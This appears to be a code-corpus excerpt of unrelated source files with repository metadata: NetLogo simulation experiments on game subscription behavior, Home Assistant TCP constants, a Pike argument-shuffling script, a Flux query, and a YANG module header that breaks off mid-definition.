Circle -7500403 true true 118 3 94
Rectangle -6459832 true false 120 195 180 300
Circle -7500403 true true 65 21 108
Circle -7500403 true true 116 41 127
Circle -7500403 true true 45 90 120
Circle -7500403 true true 104 74 152
triangle
false
0
Polygon -7500403 true true 150 30 15 255 285 255
triangle 2
false
0
Polygon -7500403 true true 150 30 15 255 285 255
Polygon -16777216 true false 151 99 225 223 75 224
truck
false
0
Rectangle -7500403 true true 4 45 195 187
Polygon -7500403 true true 296 193 296 150 259 134 244 104 208 104 207 194
Rectangle -1 true false 195 60 195 105
Polygon -16777216 true false 238 112 252 141 219 141 218 112
Circle -16777216 true false 234 174 42
Rectangle -7500403 true true 181 185 214 194
Circle -16777216 true false 144 174 42
Circle -16777216 true false 24 174 42
Circle -7500403 false true 24 174 42
Circle -7500403 false true 144 174 42
Circle -7500403 false true 234 174 42
turtle
true
0
Polygon -10899396 true false 215 204 240 233 246 254 228 266 215 252 193 210
Polygon -10899396 true false 195 90 225 75 245 75 260 89 269 108 261 124 240 105 225 105 210 105
Polygon -10899396 true false 105 90 75 75 55 75 40 89 31 108 39 124 60 105 75 105 90 105
Polygon -10899396 true false 132 85 134 64 107 51 108 17 150 2 192 18 192 52 169 65 172 87
Polygon -10899396 true false 85 204 60 233 54 254 72 266 85 252 107 210
Polygon -7500403 true true 119 75 179 75 209 101 224 135 220 225 175 261 128 261 81 224 74 135 88 99
wheel
false
0
Circle -7500403 true true 3 3 294
Circle -16777216 true false 30 30 240
Line -7500403 true 150 285 150 15
Line -7500403 true 15 150 285 150
Circle -7500403 true true 120 120 60
Line -7500403 true 216 40 79 269
Line -7500403 true 40 84 269 221
Line -7500403 true 40 216 269 79
Line -7500403 true 84 40 221 269
wolf
false
0
Polygon -16777216 true false 253 133 245 131 245 133
Polygon -7500403 true true 2 194 13 197 30 191 38 193 38 205 20 226 20 257 27 265 38 266 40 260 31 253 31 230 60 206 68 198 75 209 66 228 65 243 82 261 84 268 100 267 103 261 77 239 79 231 100 207 98 196 119 201 143 202 160 195 166 210 172 213 173 238 167 251 160 248 154 265 169 264 178 247 186 240 198 260 200 271 217 271 219 262 207 258 195 230 192 198 210 184 227 164 242 144 259 145 284 151 277 141 293 140 299 134 297 127 273 119 270 105
Polygon -7500403 true true -1 195 14 180 36 166 40 153 53 140 82 131 134 133 159 126 188 115 227 108 236 102 238 98 268 86 269 92 281 87 269 103 269 113
x
false
0
Polygon -7500403 true true 270 75 225 30 30 225 75 270
Polygon -7500403 true true 30 75 75 30 270 225 225 270
@#$#@#$#@
NetLogo 5.0.4
@#$#@#$#@
@#$#@#$#@
@#$#@#$#@
<experiments>
<experiment name="Normal 100 sin Expand" repetitions="100" runMetricsEveryStep="true">
<setup>setup</setup>
<go>go</go>
<metric>count turtles with [ingame = 1]</metric>
<enumeratedValueSet variable="Test-S">
<value value="95"/>
</enumeratedValueSet>
<enumeratedValueSet variable="players">
<value value="1000"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Initial">
<value value="150"/>
</enumeratedValueSet>
<enumeratedValueSet variable="RL-Friends">
<value value="3"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Predict?">
<value value="false"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Friend-factor">
<value value="5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Sociability">
<value value="75"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Challenge">
<value value="25"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-C">
<value value="20"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mS-mean">
<value value="7"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mA-mean">
<value value="7.5"/>
</enumeratedValueSet>
</experiment>
<experiment name="Normal 100 con Expand" repetitions="100" runMetricsEveryStep="true">
<setup>setup</setup>
<go>go</go>
<metric>count turtles with [ingame = 1]</metric>
<metric>count turtles with [mA > mS and ingame = 1]</metric>
<metric>count turtles with [mS > mA and ingame = 1]</metric>
<metric>count links with [color = green]</metric>
<metric>count links with [color = blue]</metric>
<metric>count links with [color = red]</metric>
<enumeratedValueSet variable="Test-S">
<value value="95"/>
</enumeratedValueSet>
<enumeratedValueSet variable="players">
<value value="1000"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Initial">
<value value="150"/>
</enumeratedValueSet>
<enumeratedValueSet variable="RL-Friends">
<value value="3"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Predict?">
<value value="false"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Friend-factor">
<value value="5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Sociability">
<value value="70"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Challenge">
<value value="25"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-C">
<value value="20"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mS-mean">
<value value="7"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mA-mean">
<value value="7.5"/>
</enumeratedValueSet>
</experiment>
<experiment name="mS 0, 10, 0.5" repetitions="10" runMetricsEveryStep="true">
<setup>setup</setup>
<go>go</go>
<metric>count turtles with [ingame = 1]</metric>
<enumeratedValueSet variable="Test-S">
<value value="95"/>
</enumeratedValueSet>
<enumeratedValueSet variable="players">
<value value="1000"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Initial">
<value value="150"/>
</enumeratedValueSet>
<enumeratedValueSet variable="RL-Friends">
<value value="3"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Predict?">
<value value="false"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Friend-factor">
<value value="5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Sociability">
<value value="75"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Challenge">
<value value="25"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-C">
<value value="20"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mS-mean">
<value value="0"/>
<value value="0.5"/>
<value value="1"/>
<value value="1.5"/>
<value value="2"/>
<value value="2.5"/>
<value value="3"/>
<value value="3.5"/>
<value value="4"/>
<value value="4.5"/>
<value value="5"/>
<value value="5.5"/>
<value value="6"/>
<value value="6.5"/>
<value value="7"/>
<value value="7.5"/>
<value value="8"/>
<value value="8.5"/>
<value value="9"/>
<value value="9.5"/>
<value value="10"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mA-mean">
<value value="5"/>
</enumeratedValueSet>
</experiment>
<experiment name="mA 0, 10, 0.5" repetitions="10" runMetricsEveryStep="true">
<setup>setup</setup>
<go>go</go>
<metric>count turtles with [ingame = 1]</metric>
<enumeratedValueSet variable="Test-S">
<value value="95"/>
</enumeratedValueSet>
<enumeratedValueSet variable="players">
<value value="1000"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Initial">
<value value="150"/>
</enumeratedValueSet>
<enumeratedValueSet variable="RL-Friends">
<value value="3"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Predict?">
<value value="false"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Friend-factor">
<value value="5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Sociability">
<value value="75"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Challenge">
<value value="25"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-C">
<value value="20"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mA-mean">
<value value="0"/>
<value value="0.5"/>
<value value="1"/>
<value value="1.5"/>
<value value="2"/>
<value value="2.5"/>
<value value="3"/>
<value value="3.5"/>
<value value="4"/>
<value value="4.5"/>
<value value="5"/>
<value value="5.5"/>
<value value="6"/>
<value value="6.5"/>
<value value="7"/>
<value value="7.5"/>
<value value="8"/>
<value value="8.5"/>
<value value="9"/>
<value value="9.5"/>
<value value="10"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mS-mean">
<value value="5"/>
</enumeratedValueSet>
</experiment>
<experiment name="chal over soc" repetitions="5" runMetricsEveryStep="true">
<setup>setup</setup>
<go>go</go>
<metric>count turtles with [ingame = 1]</metric>
<enumeratedValueSet variable="Test-S">
<value value="95"/>
</enumeratedValueSet>
<enumeratedValueSet variable="players">
<value value="1000"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Initial">
<value value="150"/>
</enumeratedValueSet>
<enumeratedValueSet variable="RL-Friends">
<value value="3"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Predict?">
<value value="false"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Friend-factor">
<value value="5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Sociability">
<value value="50"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Challenge">
<value value="10"/>
<value value="20"/>
<value value="30"/>
<value value="40"/>
<value value="50"/>
<value value="60"/>
<value value="70"/>
<value value="80"/>
<value value="90"/>
<value value="100"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-C">
<value value="20"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mS-mean">
<value value="7"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mA-mean">
<value value="7.5"/>
</enumeratedValueSet>
</experiment>
<experiment name="soc over chal" repetitions="5" runMetricsEveryStep="true">
<setup>setup</setup>
<go>go</go>
<metric>count turtles with [ingame = 1]</metric>
<enumeratedValueSet variable="Test-S">
<value value="95"/>
</enumeratedValueSet>
<enumeratedValueSet variable="players">
<value value="1000"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Initial">
<value value="150"/>
</enumeratedValueSet>
<enumeratedValueSet variable="RL-Friends">
<value value="3"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Predict?">
<value value="false"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Friend-factor">
<value value="5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Sociability">
<value value="10"/>
<value value="20"/>
<value value="30"/>
<value value="40"/>
<value value="50"/>
<value value="60"/>
<value value="70"/>
<value value="80"/>
<value value="90"/>
<value value="100"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Challenge">
<value value="50"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-C">
<value value="20"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mS-mean">
<value value="7"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mA-mean">
<value value="7.5"/>
</enumeratedValueSet>
</experiment>
<experiment name="Size Without Expand" repetitions="10" runMetricsEveryStep="true">
<setup>setup</setup>
<go>go</go>
<metric>count turtles with [ingame = 1]</metric>
<enumeratedValueSet variable="players">
<value value="250"/>
<value value="500"/>
<value value="750"/>
<value value="1000"/>
<value value="1250"/>
<value value="1500"/>
<value value="1750"/>
<value value="2000"/>
<value value="2250"/>
<value value="2500"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-S">
<value value="95"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mA-mean">
<value value="7.5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="RL-Friends">
<value value="3"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mS-mean">
<value value="7"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-C">
<value value="20"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Sociability">
<value value="75"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Friend-factor">
<value value="5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Challenge">
<value value="25"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Predict?">
<value value="false"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Initial">
<value value="150"/>
</enumeratedValueSet>
</experiment>
<experiment name="Friending Factor WO Exps" repetitions="10" runMetricsEveryStep="true">
<setup>setup</setup>
<go>go</go>
<metric>count turtles with [ingame = 1]</metric>
<enumeratedValueSet variable="players">
<value value="1000"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-S">
<value value="95"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mA-mean">
<value value="7.5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="RL-Friends">
<value value="3"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mS-mean">
<value value="7"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-C">
<value value="20"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Sociability">
<value value="75"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Friend-factor">
<value value="1"/>
<value value="3"/>
<value value="5"/>
<value value="7"/>
<value value="9"/>
<value value="11"/>
<value value="13"/>
<value value="15"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Challenge">
<value value="25"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Predict?">
<value value="false"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Initial">
<value value="150"/>
</enumeratedValueSet>
</experiment>
<experiment name="RLF wo Exps" repetitions="10" runMetricsEveryStep="true">
<setup>setup</setup>
<go>go</go>
<metric>count turtles with [ingame = 1]</metric>
<enumeratedValueSet variable="players">
<value value="1000"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-S">
<value value="95"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mA-mean">
<value value="7.5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="RL-Friends">
<value value="1"/>
<value value="50"/>
<value value="100"/>
<value value="150"/>
<value value="200"/>
<value value="250"/>
<value value="300"/>
<value value="450"/>
<value value="500"/>
<value value="600"/>
<value value="700"/>
<value value="800"/>
<value value="1000"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mS-mean">
<value value="7"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-C">
<value value="20"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Sociability">
<value value="75"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Friend-factor">
<value value="5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Challenge">
<value value="25"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Predict?">
<value value="false"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Initial">
<value value="150"/>
</enumeratedValueSet>
</experiment>
<experiment name="InitCost wo Exps" repetitions="10" runMetricsEveryStep="true">
<setup>setup</setup>
<go>go</go>
<metric>count turtles with [ingame = 1]</metric>
<enumeratedValueSet variable="players">
<value value="1000"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-S">
<value value="95"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mA-mean">
<value value="7.5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="RL-Friends">
<value value="3"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mS-mean">
<value value="7"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-C">
<value value="20"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Sociability">
<value value="75"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Friend-factor">
<value value="5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Challenge">
<value value="25"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Predict?">
<value value="false"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Initial">
<value value="50"/>
<value value="100"/>
<value value="150"/>
<value value="200"/>
<value value="250"/>
<value value="300"/>
<value value="450"/>
<value value="500"/>
</enumeratedValueSet>
</experiment>
<experiment name="mS 0, 10, 0.5 con Exp" repetitions="10" runMetricsEveryStep="true">
<setup>setup</setup>
<go>go</go>
<metric>count turtles with [ingame = 1]</metric>
<enumeratedValueSet variable="Test-S">
<value value="95"/>
</enumeratedValueSet>
<enumeratedValueSet variable="players">
<value value="1000"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Initial">
<value value="150"/>
</enumeratedValueSet>
<enumeratedValueSet variable="RL-Friends">
<value value="3"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Predict?">
<value value="false"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Friend-factor">
<value value="5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Sociability">
<value value="75"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Challenge">
<value value="25"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-C">
<value value="20"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mS-mean">
<value value="0"/>
<value value="0.5"/>
<value value="1"/>
<value value="1.5"/>
<value value="2"/>
<value value="2.5"/>
<value value="3"/>
<value value="3.5"/>
<value value="4"/>
<value value="4.5"/>
<value value="5"/>
<value value="5.5"/>
<value value="6"/>
<value value="6.5"/>
<value value="7"/>
<value value="7.5"/>
<value value="8"/>
<value value="8.5"/>
<value value="9"/>
<value value="9.5"/>
<value value="10"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mA-mean">
<value value="5"/>
</enumeratedValueSet>
</experiment>
<experiment name="mA 0, 10, 0.5 con Exp" repetitions="10" runMetricsEveryStep="true">
<setup>setup</setup>
<go>go</go>
<metric>count turtles with [ingame = 1]</metric>
<enumeratedValueSet variable="Test-S">
<value value="95"/>
</enumeratedValueSet>
<enumeratedValueSet variable="players">
<value value="1000"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Initial">
<value value="150"/>
</enumeratedValueSet>
<enumeratedValueSet variable="RL-Friends">
<value value="3"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Predict?">
<value value="false"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Friend-factor">
<value value="5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Sociability">
<value value="75"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Challenge">
<value value="25"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-C">
<value value="20"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mA-mean">
<value value="0"/>
<value value="0.5"/>
<value value="1"/>
<value value="1.5"/>
<value value="2"/>
<value value="2.5"/>
<value value="3"/>
<value value="3.5"/>
<value value="4"/>
<value value="4.5"/>
<value value="5"/>
<value value="5.5"/>
<value value="6"/>
<value value="6.5"/>
<value value="7"/>
<value value="7.5"/>
<value value="8"/>
<value value="8.5"/>
<value value="9"/>
<value value="9.5"/>
<value value="10"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mS-mean">
<value value="5"/>
</enumeratedValueSet>
</experiment>
<experiment name="chal over soc con Exp" repetitions="5" runMetricsEveryStep="true">
<setup>setup</setup>
<go>go</go>
<metric>count turtles with [ingame = 1]</metric>
<enumeratedValueSet variable="Test-S">
<value value="95"/>
</enumeratedValueSet>
<enumeratedValueSet variable="players">
<value value="1000"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Initial">
<value value="150"/>
</enumeratedValueSet>
<enumeratedValueSet variable="RL-Friends">
<value value="3"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Predict?">
<value value="false"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Friend-factor">
<value value="5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Sociability">
<value value="50"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Challenge">
<value value="10"/>
<value value="20"/>
<value value="30"/>
<value value="40"/>
<value value="50"/>
<value value="60"/>
<value value="70"/>
<value value="80"/>
<value value="90"/>
<value value="100"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-C">
<value value="20"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mS-mean">
<value value="7"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mA-mean">
<value value="7.5"/>
</enumeratedValueSet>
</experiment>
<experiment name="soc over chal con Exps" repetitions="5" runMetricsEveryStep="true">
<setup>setup</setup>
<go>go</go>
<metric>count turtles with [ingame = 1]</metric>
<enumeratedValueSet variable="Test-S">
<value value="95"/>
</enumeratedValueSet>
<enumeratedValueSet variable="players">
<value value="1000"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Initial">
<value value="150"/>
</enumeratedValueSet>
<enumeratedValueSet variable="RL-Friends">
<value value="3"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Predict?">
<value value="false"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Friend-factor">
<value value="5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Sociability">
<value value="10"/>
<value value="20"/>
<value value="30"/>
<value value="40"/>
<value value="50"/>
<value value="60"/>
<value value="70"/>
<value value="80"/>
<value value="90"/>
<value value="100"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Challenge">
<value value="50"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-C">
<value value="20"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mS-mean">
<value value="7"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mA-mean">
<value value="7.5"/>
</enumeratedValueSet>
</experiment>
<experiment name="Size With Expand" repetitions="10" runMetricsEveryStep="true">
<setup>setup</setup>
<go>go</go>
<metric>count turtles with [ingame = 1]</metric>
<enumeratedValueSet variable="players">
<value value="250"/>
<value value="500"/>
<value value="750"/>
<value value="1000"/>
<value value="1250"/>
<value value="1500"/>
<value value="1750"/>
<value value="2000"/>
<value value="2250"/>
<value value="2500"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-S">
<value value="95"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mA-mean">
<value value="7.5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="RL-Friends">
<value value="3"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mS-mean">
<value value="7"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-C">
<value value="20"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Sociability">
<value value="75"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Friend-factor">
<value value="5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Challenge">
<value value="25"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Predict?">
<value value="false"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Initial">
<value value="150"/>
</enumeratedValueSet>
</experiment>
<experiment name="Friending Factor with Exps" repetitions="10" runMetricsEveryStep="true">
<setup>setup</setup>
<go>go</go>
<metric>count turtles with [ingame = 1]</metric>
<enumeratedValueSet variable="players">
<value value="1000"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-S">
<value value="95"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mA-mean">
<value value="7.5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="RL-Friends">
<value value="3"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mS-mean">
<value value="7"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-C">
<value value="20"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Sociability">
<value value="75"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Friend-factor">
<value value="1"/>
<value value="3"/>
<value value="5"/>
<value value="7"/>
<value value="9"/>
<value value="11"/>
<value value="13"/>
<value value="15"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Challenge">
<value value="25"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Predict?">
<value value="false"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Initial">
<value value="150"/>
</enumeratedValueSet>
</experiment>
<experiment name="RLF with Exp" repetitions="10" runMetricsEveryStep="true">
<setup>setup</setup>
<go>go</go>
<metric>count turtles with [ingame = 1]</metric>
<enumeratedValueSet variable="players">
<value value="1000"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-S">
<value value="95"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mA-mean">
<value value="7.5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="RL-Friends">
<value value="1"/>
<value value="50"/>
<value value="100"/>
<value value="150"/>
<value value="200"/>
<value value="250"/>
<value value="300"/>
<value value="450"/>
<value value="500"/>
<value value="600"/>
<value value="700"/>
<value value="800"/>
<value value="1000"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mS-mean">
<value value="7"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-C">
<value value="20"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Sociability">
<value value="75"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Friend-factor">
<value value="5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Challenge">
<value value="25"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Predict?">
<value value="false"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Initial">
<value value="150"/>
</enumeratedValueSet>
</experiment>
<experiment name="InitCost with Exp" repetitions="10" runMetricsEveryStep="true">
<setup>setup</setup>
<go>go</go>
<metric>count turtles with [ingame = 1]</metric>
<enumeratedValueSet variable="players">
<value value="1000"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-S">
<value value="95"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mA-mean">
<value value="7.5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="RL-Friends">
<value value="3"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mS-mean">
<value value="7"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-C">
<value value="20"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Sociability">
<value value="75"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Friend-factor">
<value value="5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Challenge">
<value value="25"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Predict?">
<value value="false"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Initial">
<value value="50"/>
<value value="100"/>
<value value="150"/>
<value value="200"/>
<value value="250"/>
<value value="300"/>
<value value="450"/>
<value value="500"/>
</enumeratedValueSet>
</experiment>
<experiment name="TEST" repetitions="30" runMetricsEveryStep="true">
<setup>setup</setup>
<go>go</go>
<metric>count turtles with [ingame = 1 and ms > mA]</metric>
<metric>count turtles with [ingame = 1 and mS < mA]</metric>
<metric>count turtles with [ingame = 1]</metric>
<enumeratedValueSet variable="mA-mean">
<value value="7.5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Predict?">
<value value="true"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Initial">
<value value="150"/>
</enumeratedValueSet>
<enumeratedValueSet variable="RL-Friends">
<value value="3"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-S">
<value value="95"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Challenge">
<value value="25"/>
</enumeratedValueSet>
<enumeratedValueSet variable="mS-mean">
<value value="7"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Friend-factor">
<value value="5"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Sociability">
<value value="75"/>
</enumeratedValueSet>
<enumeratedValueSet variable="Test-C">
<value value="15"/>
</enumeratedValueSet>
<enumeratedValueSet variable="players">
<value value="1000"/>
</enumeratedValueSet>
</experiment>
</experiments>
@#$#@#$#@
@#$#@#$#@
default
0.0
-0.2 0 1.0 0.0
0.0 1 1.0 0.0
0.2 0 1.0 0.0
link direction
true
0
Line -7500403 true 150 150 90 180
Line -7500403 true 150 150 210 180
@#$#@#$#@
0
@#$#@#$#@
| NetLogo | 5 | Andrelhu/WoW-Subscription-Behavior | World of Warcraft Motivation 1.0.nlogo | [
"MIT"
] |
"""Constants for TCP platform."""
from __future__ import annotations
from typing import Final
CONF_BUFFER_SIZE: Final = "buffer_size"
CONF_VALUE_ON: Final = "value_on"
DEFAULT_BUFFER_SIZE: Final = 1024
DEFAULT_NAME: Final = "TCP Sensor"
DEFAULT_TIMEOUT: Final = 10
DEFAULT_SSL: Final = False
DEFAULT_VERIFY_SSL: Final = True
| Python | 4 | MrDelik/core | homeassistant/components/tcp/const.py | [
"Apache-2.0"
] |
int main(int argc, array(string) argv)
{
if (argc < 2) exit(1, "USAGE: pike %s program [arg [arg [arg...]]]\nRuns program with the given args, shuffled.\n");
Process.exec(argv[1], @Array.shuffle(argv[2..]));
}
| Pike | 3 | stephenangelico/shed | argshuf.pike | [
"MIT"
] |
option now = () => 2020-02-22T18:00:00Z
@tableflux.h2o_temperature{
location, bottom_degrees, time > -3h
}
|> aggregate(
{
min(bottom_degrees),
max(bottom_degrees),
mean(bottom_degrees)
},
by: ["location"],
window: 1h
)
| FLUX | 3 | RohanSreerama5/flux | colm/tableflux/query17.flux | [
"MIT"
] |
module org-openroadm-resource-types {
namespace "http://org/openroadm/resource/types";
prefix org-openroadm-resource-types;
organization "Open ROADM MSA";
contact
"OpenROADM.org";
description
"YANG definitions of common resource types.
Copyright of the Members of the Open ROADM MSA Agreement dated (c) 2016,
AT&T Intellectual Property. All other rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution.
* Neither the Members of the Open ROADM MSA Agreement nor the names of its
contributors may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE MEMBERS OF THE OPEN ROADM MSA AGREEMENT ''AS IS''
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT THE MEMBERS OF THE OPEN ROADM MSA AGREEMENT BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE";
revision 2016-10-14 {
description
"Version 1.2";
}
grouping resource-type {
leaf type {
type resource-type-enum;
mandatory true;
}
leaf extension {
type string;
